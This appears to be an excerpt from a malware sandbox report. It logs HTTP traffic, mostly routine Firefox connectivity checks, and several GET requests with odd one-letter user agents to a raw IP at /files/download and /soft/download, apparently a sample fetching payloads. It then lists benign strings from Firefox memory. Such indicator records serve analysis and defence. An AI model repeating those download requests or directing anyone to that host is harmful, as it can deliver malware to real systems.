Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN 'www.' \|\| :strippedURL AND 'www.' \|\| :strippedURL \|\| X'FFFF'It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN 'www.' \|\| :strippedURL AND 'www.' \|\| :strippedURL \|\| X'FFFF'It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN 'www.' \|\| :strippedURL AND 'www.' \|\| :strippedURL \|\| X'FFFF'It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php://securepubads.g.doubleclick.net/gampad/ad*://.adsafeprotected.com/services/pub*://pubads.g.doubleclick.net/gampad/ad-blk*://pubads.g.doubleclick.net/gampad/xml_vmap1://vast.adsafeprotected.com/vast://pubads.g.doubleclick.net/gampad/ad://ads.stickyadstv.com/user-matching://.adsafeprotected.com//imp/--panel-banner-item-update-supported-bgcolor://ads.stickyadstv.com/auto-user-sync--panel-banner-item-info-icon-bgcolorSHUTDOWN_PHASE_DURATION_TICKS_XPCOM_SHUTDOWN equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.google-analytics.com/gtm/jspictureinpicture%40mozilla.org:1.0.0FileUtils_closeSafeFileOutputStream://track.adform.net/serving/scripts/trackpoint/://static.criteo.net/js/ld/publishertag.js://static.chartbeat.com/js/chartbeat_video.js://connect.facebook.net//sdk.js://web-assets.toggl.com/app/assets/scripts/.jshttps://smartblock.firefox.etp/facebook.svg://auth.9c9media.ca/auth/main.jsresource://gre/modules/addons/XPIProvider.jsm://pub.doubleverify.com/signals/pub.js://www.everestjs.net/static/st.v3.js://.imgur.io/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js://libs.coremetrics.com/eluminate.js@mozilla.org/addons/addon-manager-startup;1webcompat-reporter%40mozilla.org:1.5.1FileUtils_closeAtomicFileOutputStream://connect.facebook.net//all.js://c.amazon-adsystem.com/aax2/apstag.jswebcompat-reporter@mozilla.org.xpi://.imgur.com/js/vendor..bundle.js://cdn.branch.io/branch-latest.min.js://static.chartbeat.com/js/chartbeat.jsresource://gre/modules/FileUtils.sys.mjs://www.googletagmanager.com/gtm.js*://www.google-analytics.com/plugins/ua/ec.js://www.google-analytics.com/analytics.js*://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.jshttps://smartblock.firefox.etp/play.svg://pagead2.googlesyndication.com/tag/js/gpt.jsresource://services-settings/Utils.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3180233244.00000209F69B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212080999.00000209FD17B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD56E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3180233244.00000209F69B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212080999.00000209FD17B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3173030335.00000209F6096000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3173030335.00000209F6036000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3195369881.00000209F779F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0))) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0))) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
